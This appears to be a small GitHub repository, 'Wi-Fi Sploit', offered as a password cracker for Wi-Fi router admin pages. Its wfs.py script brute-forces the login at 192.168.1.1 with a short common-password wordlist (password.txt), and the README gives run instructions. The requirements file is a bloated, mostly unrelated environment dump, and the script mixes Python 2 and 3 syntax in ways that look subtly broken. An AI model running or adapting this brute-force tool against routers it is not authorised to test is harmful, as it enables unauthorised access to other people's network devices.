├── README.md
├── password.txt
├── requirements.txt
└── wfs.py
/README.md:
--------------------------------------------------------------------------------
1 | # Wi-Fi Sploit
2 |
3 | Wi-Fi sploit is a password cracker for an admin page of a Wi-Fi Router.
4 |
5 | ## How to Run :
6 | 1. Clone this repository :
7 | `git clone https://github.com/kevinadhiguna/wifi-sploit.git`
8 | 2. Install dependencies :
9 | `pip install -r requirements.txt` or `pip3 install -r requirements.txt`
10 | 3. Run this program :
11 | `python wfs.py`
12 | Note: You can also run it with python3. In case of that, just replace `python` with `python3`.
13 | 4. You will see the appropriate password. Otherwise, the correct password may not be listed in the `password.txt`. In that case, you can add the most commonly used password in the `password.txt`.
14 |
--------------------------------------------------------------------------------
/password.txt:
--------------------------------------------------------------------------------
1 | user
2 | admin
3 | password
4 | 12345
5 | 123
6 | 1
7 | 123456
8 | 654321
9 | iloveyou
10 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | alabaster==0.7.12
2 | anaconda-client==1.7.2
3 | anaconda-navigator==1.9.7
4 | anaconda-project==0.8.3
5 | appdirs==1.4.4
6 | asn1crypto==1.0.1
7 | astroid==2.3.1
8 | astropy==3.2.2
9 | atomicwrites==1.3.0
10 | attrs==19.2.0
11 | Babel==2.7.0
12 | backcall==0.1.0
13 | backports.functools-lru-cache==1.5
14 | backports.os==0.1.1
15 | backports.shutil-get-terminal-size==1.0.0
16 | backports.tempfile==1.0
17 | backports.weakref==1.0.post1
18 | beautifulsoup4==4.8.0
19 | bitarray==1.0.1
20 | bkcharts==0.2
21 | bleach==3.1.0
22 | bokeh==1.3.4
23 | boto==2.49.0
24 | Bottleneck==1.2.1
25 | certifi==2019.9.11
26 | cffi==1.12.3
27 | chardet==3.0.4
28 | Click==7.0
29 | cloudpickle==1.2.2
30 | clyent==1.2.2
31 | colorama==0.4.1
32 | conda==4.7.12
33 | conda-build==3.18.9
34 | conda-package-handling==1.6.0
35 | conda-verify==3.4.2
36 | contextlib2==0.6.0
37 | cryptography==2.7
38 | cycler==0.10.0
39 | Cython==0.29.13
40 | cytoolz==0.10.0
41 | dask==2.5.2
42 | decorator==4.4.0
43 | defusedxml==0.6.0
44 | distlib==0.3.1
45 | distributed==2.5.2
46 | docutils==0.15.2
47 | entrypoints==0.3
48 | et-xmlfile==1.0.1
49 | fastcache==1.1.0
50 | filelock==3.0.12
51 | Flask==1.1.1
52 | fsspec==0.5.2
53 | future==0.17.1
54 | gevent==1.4.0
55 | glob2==0.7
56 | gmpy2==2.0.8
57 | greenlet==0.4.15
58 | h5py==2.9.0
59 | HeapDict==1.0.1
60 | html5lib==1.0.1
61 | idna==2.8
62 | imageio==2.6.0
63 | imagesize==1.1.0
64 | importlib-metadata==0.23
65 | ipykernel==5.1.2
66 | ipython==7.8.0
67 | ipython-genutils==0.2.0
68 | ipywidgets==7.5.1
69 | isort==4.3.21
70 | itsdangerous==1.1.0
71 | jdcal==1.4.1
72 | jedi==0.15.1
73 | jeepney==0.4.1
74 | Jinja2==2.10.3
75 | joblib==0.13.2
76 | json5==0.8.5
77 | jsonschema==3.0.2
78 | jupyter==1.0.0
79 | jupyter-client==5.3.3
80 | jupyter-console==6.0.0
81 | jupyter-core==4.5.0
82 | jupyterlab==1.1.4
83 | jupyterlab-server==1.0.6
84 | keyring==18.0.0
85 | kiwisolver==1.1.0
86 | lazy-object-proxy==1.4.2
87 | libarchive-c==2.8
88 | lief==0.9.0
89 | llvmlite==0.29.0
90 | locket==0.2.0
91 | lxml==4.4.1
92 | MarkupSafe==1.1.1
93 | matplotlib==3.1.1
94 | mccabe==0.6.1
95 | mistune==0.8.4
96 | mkl-fft==1.0.14
97 | mkl-random==1.1.0
98 | mkl-service==2.3.0
99 | mock==3.0.5
100 | more-itertools==7.2.0
101 | MouseInfo==0.1.3
102 | mpmath==1.1.0
103 | msgpack==0.6.1
104 | multipledispatch==0.6.0
105 | navigator-updater==0.2.1
106 | nbconvert==5.6.0
107 | nbformat==4.4.0
108 | networkx==2.3
109 | nltk==3.4.5
110 | nose==1.3.7
111 | notebook==6.0.1
112 | numba==0.45.1
113 | numexpr==2.7.0
114 | numpy==1.17.2
115 | numpydoc==0.9.1
116 | olefile==0.46
117 | openpyxl==3.0.0
118 | packaging==19.2
119 | pandas==0.25.1
120 | pandocfilters==1.4.2
121 | parso==0.5.1
122 | partd==1.0.0
123 | path.py==12.0.1
124 | pathlib2==2.3.5
125 | patsy==0.5.1
126 | pep8==1.7.1
127 | pexpect==4.7.0
128 | pickleshare==0.7.5
129 | Pillow==6.2.0
130 | pipenv==2020.8.13
131 | pkginfo==1.5.0.1
132 | pluggy==0.13.0
133 | ply==3.11
134 | prometheus-client==0.7.1
135 | prompt-toolkit==2.0.10
136 | psutil==5.6.3
137 | ptyprocess==0.6.0
138 | py==1.8.0
139 | PyAutoGUI==0.9.50
140 | pycodestyle==2.5.0
141 | pycosat==0.6.3
142 | pycparser==2.19
143 | pycrypto==2.6.1
144 | pycurl==7.43.0.3
145 | pyflakes==2.1.1
146 | PyGetWindow==0.0.8
147 | Pygments==2.4.2
148 | pylint==2.4.2
149 | PyMsgBox==1.0.8
150 | pynput==1.6.8
151 | pyodbc==4.0.27
152 | pyOpenSSL==19.0.0
153 | pyparsing==2.4.2
154 | PyPDF2==1.26.0
155 | pyperclip==1.8.0
156 | PyRect==0.1.4
157 | pyrsistent==0.15.4
158 | PyScreeze==0.1.26
159 | PySocks==1.7.1
160 | pytest==5.2.1
161 | pytest-arraydiff==0.3
162 | pytest-astropy==0.5.0
163 | pytest-doctestplus==0.4.0
164 | pytest-openfiles==0.4.0
165 | pytest-remotedata==0.3.2
166 | python-dateutil==2.8.0
167 | python-xlib==0.27
168 | python3-xlib==0.15
169 | pytube==9.6.0
170 | PyTweening==1.0.3
171 | pytz==2019.3
172 | PyWavelets==1.0.3
173 | PyYAML==5.1.2
174 | pyzmq==18.1.0
175 | QtAwesome==0.6.0
176 | qtconsole==4.5.5
177 | QtPy==1.9.0
178 | requests==2.22.0
179 | rope==0.14.0
180 | ruamel-yaml==0.15.46
181 | scikit-image==0.15.0
182 | scikit-learn==0.21.3
183 | scipy==1.3.1
184 | seaborn==0.9.0
185 | SecretStorage==3.1.1
186 | Send2Trash==1.5.0
187 | simplegeneric==0.8.1
188 | singledispatch==3.4.0.3
189 | six==1.12.0
190 | snowballstemmer==2.0.0
191 | sortedcollections==1.1.2
192 | sortedcontainers==2.1.0
193 | soupsieve==1.9.3
194 | Sphinx==2.2.0
195 | sphinxcontrib-applehelp==1.0.1
196 | sphinxcontrib-devhelp==1.0.1
197 | sphinxcontrib-htmlhelp==1.0.2
198 | sphinxcontrib-jsmath==1.0.1
199 | sphinxcontrib-qthelp==1.0.2
200 | sphinxcontrib-serializinghtml==1.1.3
201 | sphinxcontrib-websupport==1.1.2
202 | spyder==3.3.6
203 | spyder-kernels==0.5.2
204 | SQLAlchemy==1.3.9
205 | statsmodels==0.10.1
206 | sympy==1.4
207 | tables==3.5.2
208 | tblib==1.4.0
209 | terminado==0.8.2
210 | testpath==0.4.2
211 | toolz==0.10.0
212 | tornado==6.0.3
213 | tqdm==4.36.1
214 | traitlets==4.3.3
215 | unicodecsv==0.14.1
216 | uri==2.0.1
217 | urllib3==1.24.2
218 | virtualenv==20.0.31
219 | virtualenv-clone==0.5.4
220 | wcwidth==0.1.7
221 | webencodings==0.5.1
222 | Werkzeug==0.16.0
223 | widgetsnbextension==3.5.1
224 | wrapt==1.11.2
225 | wurlitzer==1.0.3
226 | xlrd==1.2.0
227 | XlsxWriter==1.2.1
228 | xlwt==1.3.0
229 | zict==1.0.0
230 | zipp==0.6.0
231 |
--------------------------------------------------------------------------------
/wfs.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import sys
3 |
4 | url = "http://192.168.1.1"
5 |
6 | expression = "incorrect"
7 |
8 | def brute(username, password):
9 | data = { 'username': username, 'password': password }
10 | r = requests.post(url, data=data)
11 | if expression not in r.content:
12 | print("Brute Forcing...")
13 | print ("[+] Password found : "),password
14 | sys.exit()
15 | else:
16 | print (r.content)," ",password
17 |
18 | def main():
19 | words = [w.strip() for w in open("password.txt", "rb").readlines()]
20 | for payload in words:
21 | brute("Admin", payload) # if 'Admin' does not work, try 'user' instead.
22 |
23 | if __name__ == '__main__':
24 | main()
25 |
--------------------------------------------------------------------------------